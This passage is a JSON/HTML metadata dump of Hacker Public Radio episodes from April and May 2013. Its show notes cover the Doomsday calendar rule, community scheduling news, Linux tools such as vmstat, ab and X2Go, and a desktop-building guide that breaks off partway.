      ","hostid":233,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"file formats,writing,markdown","version":0,"downloads":1967,"valid":1}, {"id":1239,"date":"2013-05-02","title":"HPR Saturday Sessions: What is hacking?","duration":6580,"summary":"Saturday Sessions, Hackers, Hacking, Culture, Media","notes":"

      \nNido is joined by dude-man, Epicanis, and artv61 to \ndiscuss how one could or should define \"Hacker\" and \"Hacking\", particularly in \nreference to the \"Hackers\" that Hacker Public Radio episodes are intended to be\n\"of interest to\". Unfortunately, all participants seemed to be largely in\nagreement with each other, so there isn't enough contention to make the \ndiscussion dramatic. Listeners may find the discussion insightful anyway,\nand we do come up with some suggestions and ultimately encourage everyone to\nbe a lot more public about using the words \"hacker\" and \"hacking\" as\nmuch as possible outside the context of criminal and computer-programming\nactivity until outdated dictionaries finally update their definitions.

      \n\n

      Although Nido deserves the credit for Saturday Sessions, recording, cleanup, \nand editing of today's session was done by Epicanis, so if the sound sucks\nit's all his fault and not Nido's. Same goes for these show notes.

      \n

      The XKCD comic that was mentioned may be found here: \nhttps://xkcd.com/242/.

      ","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Saturday Sessions, Hackers, Hacking, Culture, Media","version":0,"downloads":1941,"valid":1}, {"id":1240,"date":"2013-05-03","title":"Doomsday Rule","duration":2405,"summary":"A method of finding the day of the week for any date","notes":"
      \nHPR Episode: Doomsday Perpetual Calendar Method\n\nWhat is it?  https://en.wikipedia.org/wiki/Doomsday_rule\n  (due to John H. Conway, a mathematician born in Liverpool)\n\n  * He's done other research that hackers might like to check out.\n  * Look up the \"Game of Life\" and \"cellular automata\".\n  * There may be episodes on these topics, but those should come\n      with visualization software.\n\nJohn H. Conway\n  https://en.wikipedia.org/wiki/John_Horton_Conway\n\nGame of Life\n  https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life\n\n\nDoomsday Rule lets you find the day of the week for any date\n  * Dates in history, in immediate past or in future are all good.\n  * Works for both the Gregorian and Julian calendar.\n    - I'll only be looking at Gregorian dates for now.\n    - Method should work well for dates from 1800 onward.\n    - If dates for non-Gregorian calendars are converted to their\n        (extrapolated) Gregorian equivalents, this method works.\n\nWikipedia entry (includes recent optimization):\n  https://en.wikipedia.org/wiki/Doomsday_algorithm\n\n\nWhy do this?  It came up in Episode Zero of my \"N Days\" show on\ncalendar counting, where I used it without explanation.\n\n  https://hackerpublicradio.org/eps.php?id=1143\n\n\nDemos: Check these answers at www.day-calculator.com\n  * Some listeners may now adjourn to the latest Linux Outlaws episode.\n\n\nMethod: Get Century Anchor Day, calculate offset for the year to find\n   Doomsday's reference location for current year, find closest\n   reference date to target date, and count off to the answer.\n\na) Isaac Newton's date of birth:\n   - 25 December 1642 - 1600's Tuesday.\n     Year 42 = 3*12 + 6 and (6/4) = 1.\n     Hence 3 + 6 + 1 = 10 for an offset of 3.\n     Tuesday + 3 = Friday.  12/12 is Friday, so 12/26 is Friday\n     Newton was born 12/25, so that was a Thursday\n\nb) My grandfather's date of birth:\n   - 20 January 1898 - 1800's anchor is Friday.\n     Year 98 = 8*12 + 2, (2/4) = 0.\n     So 8 + 2 + 0 = 10 gives an offset of 3.\n\n   - 1898 wasn't a leap year, so 10 January was Monday\n   - That means 17 January was a Monday, too.\n   - So 20 January 1898 was a Thursday.\n\nc) A wedding anniversary that I like to remember: 15 May 2000\n   - 2000 has anchor day on Tuesday, and no offset.\n   - Rule: \"I work 9 to 5 at 7-11\", so 9 May (16 May) are on Tuesday.\n   - 15 May 2000 was a Monday.  True.  'Twas the day after Mother's Day.\n\nd) My parent's wedding day: 19 May 1957\n   - 1900 has anchor day Wednesday.  57 = 4*12 + 9 and (9/4) = 2.\n   - So 4 + 9 + 2 = 15 or an offset of 1.\n   - 9 May is Thursday, as is 16 May.  The 19th is 3 days later.\n   - So 19 May 1957 was a Sunday.\n\n\nPlan: I'm going to reveal the magic behind this, and introduce some\nmental shortcuts to help you learn to do this in your head.\n\nIf you can master the 12's row in your times tables up to 8 times 12,\nand the 4's row up the 20s or 30s, and you can tell time on a 12-hour\nclock, you should be able to do this.\n\nWe're not in school, so paper and pencil to track the numbers, and\nfinger-counting offsets to days of the week are all allowed.\n\n\nExplanation:\n1. Certain memorable dates fall on the same day of the week as\n   \"Doomsday\" = last day of February, whatever that is.\n\n2. Dates recycle every 400 years, and Doomsday Anchor dates by Century\n   are 1600: Tuesday, 1700: Sunday, 1800: Friday, 1900: Wednesday.\n\n3. That's enough, but to simplify mental math notice 12-year cycles.\n   - Every completed 12 years pushes the days of the week ahead by +1\n   - Each year within the current incomplete cycle adds +1\n   - Each leap year in current cycle adds +1 (including current year)\n\n4. Doomsday dates are:\n   a. January 10 and Doomsday (last day of February)\n\n   b. Odd months: Add +4 through July, then subtract 4.\n      7 March, 9 May, 11 July\n      5 September, 7 November\n\n   c. Even months are reflexive: 4/4, 6/6, 8/8, 10/10, 12/12\n\n\nSee the attached spreadsheets for examples and annotated calculations.\n\n - LibreOffice Calc: 229-Charles-in-NJ-Doomsday-Rule-v1.ods\n\n - Excel 5/95 'xls' for LibreOffice or Gnumeric:\n     229-Charles-in-NJ-Doomsday-Rule.xls\n\n - Gnumeric: 229-Charles-in-NJ-Doomsday-Rule-v1.gnumeric\n\n\nBonus Content:\n - Excel VBA module: 229-Charles-in-NJ-Doomsday-Rule.vbaxl.bas\n     * Import the .bas module\n     * Input is an Excel \"Date\" object\n     * Very proprietary formats and code, but some people use it.\n\n - Python:  doomsday.py\n     * Contains two functions:  Each returns a string value for the day\n          of the week, e.g., \"Sunday\"\n\n       dayOfWeek(year, month, day): Doomsday is last day of February,\n          and the (month, day) are converted to relative ordinal dates.\n          For leap years, we have to push both Doomsday and any target\n          date after 28 February up by one for the leap day.\n\n       dayOfWeek2(year, month, day): Doomsday date anchors are computed\n           for each month, so leap years require adjustments to the\n           anchors for January and February to account for the shift\n           in the February ending date.  Later months are fine.\n\n - Script for GNU 'bc': doomsday.bc is a bc 'port' of the Python code\n     * Differences: Return value is a number from 0-6 that represents\n         the day of the week by its relative position.\n\n       0 = Sunday, 1 = Monday, 2 = Tuesday, 3 = Wednesday,\n       4 = Thursday, 5 = Friday, 6 = Saturday\n\n     * In a shell, run 'bc' with the filename as an argument:\n       catintp@Derringer:~$  bc doomsday.bc\n\n       - This loads the two functions in the file.  You can invoke them\n           within 'bc' like any other function:\n\n       dayofweek(1981, 5, 15)\n       dayofweek2(1642, 12, 25)\n       dayofweek(2013, 11, 22)\n       dayofweek2(2059, 5, 19)\n\n - Alternate Script for GNU 'bc': doomsday2.bc\n     * Return value is still a number from 0-6 that represents\n         the day of the week by its relative position.\n\n     * Uses a side effect to print a human-friendly answer.\n\n     * English only, but localisation should be easy.\n
      \n\n

      Links

      \n\n","hostid":229,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"calendar,\"day of week\",\"John H. Conway\",\"Doomsday rule\"","version":0,"downloads":1896,"valid":1}, {"id":1241,"date":"2013-05-06","title":"HPR Community News for April 2013","duration":5579,"summary":"HPR Community News for April 2013","notes":"

      New hosts

      \n

      \nWelcome to our new hosts: \nRuss Wenner, \nJezra, and\nHelvetin.\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1219The Care and Feeding of the Flintlock Muzzleloading RifleRuss Wenner
      1220Cinnarch 64 bit, Installation ReviewFiftyOneFifty
      1221TGTM Newscast 93 for 2013-04-02 DeepGeek and Dann Washko Tgtm News Team
      1222LiTS 027: mathematical commandsDann
      1223How I got into linuxJezra
      1224Podio Book Report on Jake Bible's "Dead Mech"FiftyOneFifty
      1225 Modern Survivalism Part 2Tracy Holz_Holzster
      1226TGTM Newscast for 2013-04-09 DeepGeek & PokeyTgtm News Team
      1227Not-A-Con interviewmordancy
      1228Utilizing Maximum Space on a Cloned BTRFS PartitionFiftyOneFifty
      1229Chromebook Acer C7 ReviewHelvetin
      1230Google How Could YouNeodragon
      1231TGTM Newscast for 2013-04-16 BobobexTgtm News Team
      1232LiTS 028: extended attributesDann
      1233Playing IngressEpicanis
      1234fightcodegame.comMike Hingley
      1235Talk Cyberpunk To Mesigflup
      \n\n
      \nI would like to suggest the following amendments to the scheduling\nrules detailed below in ALL CAPS bellow:\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nhttps://hackerpublicradio.org/calendar.php#normal_priority\nWe now release shows based on when the hosts last had a show aired.\nThis brings new hosts and returning hosts to the top of the queue to\nencourage their efforts, and it also spreads out shows submitted in\nbatches and gives a wider variety of hosts. Once a host is determined,\nthe first show uploaded by that host is released. If you wish your\nshows to be released in a particular order then make sure you make that\nobvious in the title and by emailing admin@hackerpublicradio.org.\nYou can swap the order of the shows but it involves additional effort\nand is frowned upon :).\nWHERE POSSIBLE WE WILL NOT RELEASE SHOWS FROM THE SAME HOST IN ANY ONE\nWEEK.\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nhttps://hackerpublicradio.org/calendar.php#synicated_shows\nSyndicated Shows\nWe will continue to promote new podcasts and other creative commons\nmaterial but due to a lack of slots, we are only releasing material\ncreated exclusively for HPR. If there is a piece of creative commons\ncontent that you would like to promote, then feel free to record a\nregular show where you introduce the content and explain why it is\nimportant and providing links to where we can get more information.\nTHESE SHOWS CAN BE RELEASED EITHER UNDER YOUR OWN NAME OR UNDER\nTHE GENERIC HOST CALLED \"VARIOUS CREATIVE COMMONS WORKS\" (HOSTID 158)  \n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nThe amendment \"WHERE POSSIBLE WE WILL NOT RELEASE SHOWS FROM THE SAME\nHOST IN ANY ONE WEEK.\" had been included prior to the changes in\nJanuary, but I would like to put it back.\n\nThe amendment \"THESE SHOWS WILL CAN BE RELEASED EITHER UNDER YOUR\nOWN NAME OR UNDER THE GENERIC HOST CALLED \"VARIOUS CREATIVE COMMONS\nWORKS\" was discussed in the mail list under the title of \"Various\nCreative Commons Works\" but the discussions got derailed. \n\nPlease keep discussion to these two points only. \n\nAs always Silence, or no comment is assumed to be approval.\n\nKen.\n\nAlso the addition of the following text to the Scheduling Rules: \nPlease be aware that we cannot predict when your show will be out, but \nsooner of later it will be released. Sometimes a new host will jump to \nthe top of the queue, while other hosts seem to be waiting a long time. \nThis is because all the shows at HPR are scheduled according to the \nScheduling Guidelines, which apply to everyone without exception.\n\n
      \n\n

      On the List

      \n\n\n\n

      Todo List

      \n

      New

      \n
        \n
      • Show Flow Rate/Average wait times
      • \n
      • Android App
      • \n
      • Crediting multiple hosts
      • \n
      \n

      Processing

      \n
        \n
      • Securing the website
      • \n
      • Upload Form
      • \n
      • Fixing broken links
      • \n
      • Fixing broken HTML/Converting to HTML5/CSS3
      • \n
      • thelinuxlink.pl
      • \n
      \n

      Done

      \n\n

      To Do

      \n
        \n
      • Automate the presentation
      • \n
      • Introduction to HPR video
      • \n
      • Add ATOM Feed
      • \n
      • Opus Support
      • \n
      • Events Page
      • \n
      • Twitter/Identi.CA Feed
      • \n
      • Upload to Archive.org
      • \n
      • Automating media upload, identification and transcoding
      • \n
      \n\n

      Events

      \n\n\n\n

      We would like more backup shows

      \n

      \nThere are 32 shows in the queue from 13 hosts. Consider contributing a show. https://hackerpublicradio.org/calendar.php\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1753,"valid":1}, {"id":1242,"date":"2013-05-07","title":"What's Wrong With Free, Anyway?","duration":1398,"summary":"Free of Charge versus Free as in Freedom","notes":"

      In looking at the distinction between free of charge and free as in freedom, some interesting issues emerge. I argue that free of charge is often not what we should be looking for if we want good software options. But because I like going the long way around behind the barn to get anywhere, I start off in the Music business.

      \n

      Links to things I mentioned

      \n\n
      \n

      My web site is at https://www.zwilnik.com/.

      \n
      \n

      Remember to support free software!

      \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Apps,software,market","version":0,"downloads":1910,"valid":1}, {"id":1243,"date":"2013-05-08","title":"Wargames Anniversary","duration":325,"summary":"The film is 30 years old","notes":"

      \nWargames is 30 years old, this is my tribute to one of my favourite films.
      \nSome text taken from Wikipedia page for the film CC-BY-SA
      \nModem sound from Freesound user joedeshon CC-BY\n

      ","hostid":191,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"movies, nostalgia, modem, AI, 1983","version":0,"downloads":1803,"valid":1}, {"id":1244,"date":"2013-05-09","title":"LiTS 029: ab - apache benchmark.","duration":1790,"summary":"Apache HTTP server benchmarking tool: ab","notes":"

      \nThis episode of LITS talks about using Apache Benchmark utility to test \nwebsites. Learn how to use and interpret the results of Apache Benchmark.\n

      \n

      Link to the full episode and video https://www.linuxintheshell.com/2013/05/10/episode-029-ab-apache-benchmark/

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"apache,http,benchmark,ab","version":0,"downloads":2334,"valid":1}, {"id":1245,"date":"2013-05-10","title":"TGTM Newscast for 2013-06-05 for by Dann Washko and DeepGeek","duration":1340,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not necessarily those of TGTM\nnews.\n

      \n

      \nNews from \"maggiemcneill.wordpress.com,\"  \"inthesetimes.com,\"\nand\n\"hiawatha-webserver.org\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org,\" and\n\"peoplesworld.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1865,"valid":1}, {"id":1246,"date":"2013-05-13","title":"David Whitman On Location at LinuxFest Northwest","duration":3738,"summary":"Our correspondent reports from LFNW","notes":"\n\n

      \nLFNW Garage Sale Booth - old computer stuff sold to support the fest https://linuxfestnorthwest.org\n

      \n

      \nBill Wright at the LFNW World Famous Raffle https://linuxfestnorthwest.org\n

      \n

      \nEFF / TOR Table -https://www.eff.org https://www.torproject.org/\n

      \n

      \nDW does a cheesy Lightning Talk about HPR.\n

      \n

      \nMartin Obando https://www.obandocomputing.com\n

      \n

      \nMozilla https://mozilla.com/\n

      \n

      \nLarry the Crunchbang guy https://www.crunchbang.org/\n

      \n

      \nOrangeFS Amy Cannon https://orangefs.org/\n

      \n

      \nDice.com Nathan James www.Dice.com\n

      \n

      \nLinux Automation - Beer! https://www.linuxautomation.org/\n

      \n

      \nFedora Project https://fedoraproject.org/\n

      \n

      \niSEC Partners https://www.isecpartners.com/\n

      \n

      \nAcquia https://www.acquia.com/\n

      \n

      \nLinode https://www.linode.com/\n

      \n

      \nOpenBSD https://www.openbsd.org/\n

      \n

      \nFree Software Foundation www.fsf.org\n

      \n

      \nLinux Professional Institute www.lpi.org\n

      \n

      \nGSLUG https://gslug.org/\nUbuntu Washington https://loco.ubuntu.com/teams/ubuntu-washington/\nKDE www.kde.org\n

      \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"LinuxFest Northwest\",LFNW","version":0,"downloads":1733,"valid":1}, {"id":1247,"date":"2013-05-14","title":"Recording Terrestrial Radio with bash scripts and cron jobs","duration":876,"summary":"Using a Bash script to capture terrestrial radio","notes":"

      In this episode I talk about my solution for capturing terrestrial \nradio so that I can listen to it at my own convenience. I use a bash \nscript, cron jobs, and the streamripper package. here are some links \nto things I mentioned in the podcast.

      \n\n

      Jezra's command-line audio player sap (simple audio\nplayer): https://www.jezra.net/projects/sap

      \n\n

      Streamripper: https://streamripper.sourceforge.net/

      \n\n

      Radio station KRVS 88.7 FM, Lafayette, Louisiana, USA https://krvs.org/

      \n\n

      And you can see the whole radio-recording script here:\nhttps://jonathankulp.org/archives/647

      ","hostid":238,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"bash,scripting,radio,streamripper,simple audio player","version":0,"downloads":1786,"valid":1}, {"id":1248,"date":"2013-05-15","title":"Frank Bell Achieves Enlightenment Adventures with E17 Pt One","duration":1720,"summary":"About Enlightenment E17, part 1","notes":"

      \nThere was great rejoicing in the Linux community when the Enlightenment Desktop, v. 0.17 (AKA E17), was released recently. It was the first major upgrade in well over a decade to a desktop environment that many remembered fondly for its commitment to a visually pleasing computing experience. \n

      \n

      \nFrank Bell describes how he started using Enlightenment and what he has encountered so far. In this, the first of two parts, he addresses installing Enlightenment, Enlightenment's \"first-run\" dialog, the structure of the desktop, the menu, and the management applications and windows on the desktop. \n

      \n

      \nPart Two will focus on the nitty-gritty of configuring the appearance and behavior of Enlightenment.\n

      \n

      \nLinks:\n

      \n\n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Enlightenment Desktop\",\"Bodhi Linux\"","version":0,"downloads":1812,"valid":1}, {"id":1249,"date":"2013-05-16","title":"Software Patents: Who's Behind the Curtain?","duration":3646,"summary":"Deb Nicholson speaks about Software Patents at LinxFest Northwest, April 27, 2013","notes":"\n

      \nDeb Nicholson works at the intersection of technology and social justice. She is the Community Outreach Director at the Open Invention Network https://www.openinventionnetwork.com and the Community Manager at GNU MediaGoblin https://www.openinventionnetwork.com. She also serves on the board at Open Hatch https://openhatch.org/, a non-profit dedicated to matching prospective free software contributors with communities, tools and education. She lives in the United States in Cambridge, Massachusetts.\n

      ","hostid":245,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Software Patents\",\"LinxFest Northwest\",\"Deb Nicholson\",\"Open Invention Network\"","version":0,"downloads":1890,"valid":1}, {"id":1250,"date":"2013-05-17","title":"Interview With YTCracker","duration":6046,"summary":"Pokey interviews YTCracker","notes":"

      \nThis is an interview with YTCracker, one of my favorite NerdCore rappers. You can find links to his music on his website https://www.ytcracker.com/\n

      \n

      \nIf you like Nerdcore Rap, a good website to check out is https://nerdcorenow.com. They have a few \"various artists\" compilation albums available for download. \n

      \n

      \nThanks to my guest, YTCracker for coming on Hacker Public Radio, and thank you for listening.\n

      ","hostid":128,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Nerdcore Rap","version":0,"downloads":1955,"valid":1}, {"id":1251,"date":"2013-05-20","title":"TGTM Newscast for 2013-05-19 DeepGeek","duration":1931,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not necessarily those of TGTM\nnews.\n

      \nNews from \"techdirt.com,\" \"inthesetimes.com,\"\nand\n \"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n\n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1662,"valid":1}, {"id":1252,"date":"2013-05-21","title":"The Long Road To Linux","duration":1895,"summary":"Beeza has been in the IT world for a long time","notes":"\n

      \nOver about 30 years Beeza has been a software developer and tester, a system designer and technical author. In that time he's worked with a wide range of software, hardware and technologies. From DOS and the early days of Windows and the Mac, through to his conversion to Linux, he's seen great changes in the way we develop software and use computers. Not all the changes have necessarily been for the better, though.\n

      \n

      \nFor anyone who's been around the IT world for a while, this may be a short trip down memory lane. For relative newcomers, it may come as a surprise to discover just how much was achieved years ago with so few resources.\n

      ","hostid":246,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"minicomputer,daisywheel,\"winchester disk\",FORTRAN77,\"DEC VAX\",VMS,VAXcluster,\"IBM AS/400\"","version":0,"downloads":1987,"valid":1}, {"id":1253,"date":"2013-05-22","title":"LiTS 030: vmstat","duration":1723,"summary":"Report virtual memory statistics with the vmstat command","notes":"

      \nEpisode 30 of Linux in the Shell talks about the use of the vmstat \ncommand. Learn about Linux Virtual Memory managment and the files in \n/proc where vmstat gathers information.

      \nFor the full write-up of the command and the corresponding video examples check out https://www.linuxintheshell.com/2013/05/22/episode-030-vmstat/\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"vmstat,virtual memory","version":0,"downloads":2446,"valid":1}, {"id":1254,"date":"2013-05-23","title":"X2go Remote Linux server/client","duration":275,"summary":"X2Go enables you to access a graphical desktop of a computer over the network","notes":"\n\n

      \nWith x2go you can access your desktop using another computer -- that means both LAN and internet connections. The transmission is done using the ssh protocol, so it is encrypted. By using the free nx libraries from NoMachine, a very acceptable performance in both speed and responsiveness is achieved. Even an ISDN connection runs smoothly.\n

      \n

      \nThis makes it is possible to connect your laptop to any computer with the environment, applications, and performance of the remote desktop. It is also possible to have a bunch of computers connected to a single server (terminal-server, thin-client).\n

      \n

      \nClients are available for Linux (Qt4), Windows, and Mac. The latter two can be downloaded directly as binary from the x2go homepage.\n

      \n\n\n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"X2Go,SSH,tunnel,FUSE","version":0,"downloads":1812,"valid":1}, {"id":1255,"date":"2013-05-24","title":"A life in a software project","duration":620,"summary":"In this episode I will read something for you.","notes":"

      \nA friend of mine wrote a blog post the day of his 40th birthday. The\ntitle was \"Version 4.0 is out!\". I found it very interesting, as he\ntold the history of his life as if it was a software project with a\nmajor x.0 release every 10th birthday.\n

      ","hostid":197,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"blog post\",birthday,\"software project\"","version":0,"downloads":1802,"valid":1}, {"id":1256,"date":"2013-05-27","title":"TGTM Newscast for 2013-05-20 Bobobex","duration":1144,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not necessarily those of TGTM\nnews.\n

      \nNews from \"techdirt.com,\" \"maggiemcneill.wordpress.com,\"  \"havantimes.org,\"\nand\n \"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n\nNews from \"wlcentral.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.\n

      News from rhrealitycheck.org used under terms published on their webpage.
      \n

      \n\n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1576,"valid":1}, {"id":1257,"date":"2013-05-28","title":"Getting things done.","duration":655,"summary":"Knightwise speaks of his Apple experiences over recent years","notes":"\n\n\"When you need to get things done : Use a Mac\" That used to be the default answer. But does it still ring true today ? Knightwise takes a look at the history of Apple and its evolution in the power-user landscape over the last decenium.","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Apple,Mac,iPod,iPhone","version":0,"downloads":1885,"valid":1}, {"id":1258,"date":"2013-05-29","title":"How to Build a Desktop Computer","duration":1298,"summary":"Describes how to build a desktop computer with guidance on the order in which to pick components.","notes":"

      Show Notes for How to Build a Desktop\n

      \n


      \n

      \n

      Build vs Buy

      \n

      Do you have the interest and time to\nresearch and build a desktop computer?

      \n

      You probably won't save a lot of money,\nbut with all the research you may get better quality parts.

      \n

      You will know exactly what's in your\nsystem should issues or questions ever arise.

      \n


      \n

      \n

      Gather requirements

      \n

      Define the purpose of the system \n

      \n

      Use: gaming,\nvideo/photo processing, web browsing/documents

      \n

      Applications\nshould drive most of your hardware decisions.

      \n

      Data protection: \nhow much data, how resilient (on-site mirroring, RAID vs. off-site)

      \n

      Power protection: \nsurge suppression, UPS

      \n

      Physical\nprotection: keyed case lock (disassembly prevention), cable anchor

      \n


      \n

      \n

      Define a budget \n

      \n

      Decide what are\nyou willing to spend (max, target, min)

      \n

        Check\noff-the-shelf models to get the going price points

      \n

      Understand there\nare trade-offs and if everything is needed at once

      \n

      Adding\ncapabilities later can help with sticker shock

      \n

      If you have time,\nbuy components when prices dip

      \n

      Be careful about\nreturn policies...some 30 or 90 days

      \n


      \n

      \n

      Learn about current technology &\nprices

      \n

      Core: CPU,\nmemory, motherboard, graphics controller, power supply

      \n

      Storage: solid\nstate drives, rotating hard drives, removable media (DVD, USB)

      \n

      Auxiliary: audio,\nmonitor, power protection, web cam, printer/scanner, backup drive

      \n

      Interfaces: SATA,\nIDE, DDR2, DDR3, PCI, PCI-e, USB, eSATA

      \n

      Determine\napproximate price range

      \n

      Where to research\nthis stuff: Wikipedia, Tom's Hardware, Anandtech, Specs on vendor web sites

      \n

      Where to shop: NewEgg.com,\nAmazon.com, Dell.com

      \n


      \n

      \n

      Understand compatibility

      \n

      Hardware-Hardware\ncompatibility

      \n

      \tCheck qualified\nhardware list (QHL) on CPU/memory/motherboard

      \n

      \tAlso known as CPU\nsupport list, memory support list, qualified vendor list, etc.

      \n

      \tIf you can stick\nto the QHL parts, h/w compatibility is more assured

      \n

      Hardware-Operating\nSystem compatibility \n

      \n

      Drivers, either\nbuilt into the OS or from vendor web site

      \n

      Pay attention to\n32-bit vs. 64-bit in both operating systems and drivers

      \n

      Operating\nSystem-Application compatibility

      \n

      \tI'm not going to\naddress this, but it is something to research and understand.

      \n


      \n

      \n

      Define what components you need

      \n

      You will need the\ncore and storage components.

      \n


      \n

      \n

      If you have\ncomponents (particularly auxiliary components) from a previous\nsystem, you may find you can use them with the new system. Speakers,\nprinter, and monitors are all prime candidates.

      \n


      \n

      \n

      Steps

      \n
        \n\t
      1. CPU
        \n
      \n
        \n\t
      • Decide on CPU brand (typically\n\tIntel or AMD)

        \n\t
      • Decide on CPU model, which is\n\tdictated by your needs and budget

        \n\t
      • CPU will dictate motherboard\n\tsocket type

        \n\t
      • Be sure to buy CPU in box set so\n\tit includes CPU fan & heat-sink. Otherwise, you'll need to\n\tfigure out the thermal dissipation needs and physical dimension\n\tlimitations of the case in order to select an appropriate 3rd party\n\tCPU fan & heat-sink. This can involve liquid cooling solutions.\n\t I'm not covering thermal solutions in detail here.

        \n
      \n
        \n\t
      1. Motherboard
        \n
      \n
        \n\t
      • Narrow search to motherboards with\n\tsocket type that matches CPU.

        \n\t
      • Decide on motherboard form factor\n\t(ATX, Mini-ATX, Micro-ATX, Mini-ITX, etc.). See Wikipedia.

        \n\t
      • Video on-board or discrete. \n\t

        \n
          \n\t
        • If on-board, check if it has\n\tdedicated memory or borrows memory from main system. If it borrows\n\tfrom the main system, you may want to increase your memory size. \n\tRecommend using discrete if 3-D requirements exist. You can go\n\tdiscrete later, but you'll have wasted money on the motherboard.

          \n\t
        • If discrete, ensure motherboard\n\thas enough high-end PCI-e slots for your needs. \n\t

          \n
        \n
      \n
        \n\t
      • Audio on-board, discrete or\n\texternal.

        \n
          \n\t
        • If on-board, check motherboard has\n\tsuitable output ports for your needs.

          \n\t
        • If discrete, ensure motherboard\n\thas a slot for the audio card.

          \n
        \n
          \n\t
        • If external audio system will be\n\tused, make sure motherboard has ports to support it.

          \n\t
        • WiFi / Blue Tooth

          \n\t

          While a few motherboards have these,\n\tthey are generally considered inferior for connectivity and security\n\ton a non-mobile device like a desktop. It's also easy to add a card\n\tor USB device to obtain them. Also, when integrated on the\n\tmotherboard, they are harder to upgrade later.

          \n
        \n
      \n
        \n\t
      • Outputs ports meet your needs\n\t(PS2, Parallel, Serial COM, USB, eSATA, S/PDIF, HDMI, Ethernet,\n\tetc.)

        \n\t
      • At this point, you search should\n\tbe fairly narrow – compare prices, read reviews and compare\n\tratings. \n\t

        \n\t
      • Decide on motherboard vendor and\n\tmodel

        \n
      \n
        \n\t
      1. Memory
        \n
      \n
        \n\t
      • Based on motherboard, find\n\tmatching memory type. DDR2 and DDR3 are the common types. \n\t

        \n\t

        There are 5 memory properties: \n\t

        \n
          \n\t
        1. DDR revision (currently they\n\tinclude DDR, DDR2, and DDR3)

          \n\t
        2. Chip Classification (like\n\tDDR2-1333) where the number (1333) is the maximum clock speed (in\n\tMHz) the memory chips support, which is halved for real clock speed\n\t(666.5MHz).

          \n\t
        3. Module Classification (like\n\tPC3-10666) where the number (10666) is the maximum transfer rate (in\n\tMB/s). This is typically 8 times the first memory chip\n\tclassification clock speed, so DDR400 transfers data at 3,200 MB/s. \n\t\t

          \n\t
        4. Timing (like 7-8-8-24) measures\n\tthe time the memory chip delays doing something internally.

          \n\t
        5. Voltage (like 1.5v) \n\t

          \n
        \n
      \n
        \n\t
      • Note the memory properties are\n\tmaximums. Actual rates will be lower based on the motherboard. \n\tMatch the first 3 properties – DDR revision, chip classification\n\tand module classification. DDR revision must match. If you can't\n\tget an exact match on Chip and Module classifications, make sure the\n\tmemory module is faster (higher numbers) than the motherboard.

        \n\t
      • If you plan to over-clock, you'll\n\tneed to pay attention to all 5 properties, but I'm not going to\n\tcover over-clocking.

        \n\t
      • For more assurance, buy memory\n\tthat's on the motherboard maker's certified list.

        \n\t
      • Recommend buying memory in higher\n\tcapacities per module for future expansion. If you have 4 memory\n\tmodule slots which can accept 1G, 2G, and 4G modules, opt for the 4G\n\tmodules.

        \n\t
      • Recommend that all memory modules\n\tbe the same size, optimally the same brand/model if possible.

        \n
      \n
        \n\t
      1. Video Card
        \n
      \n
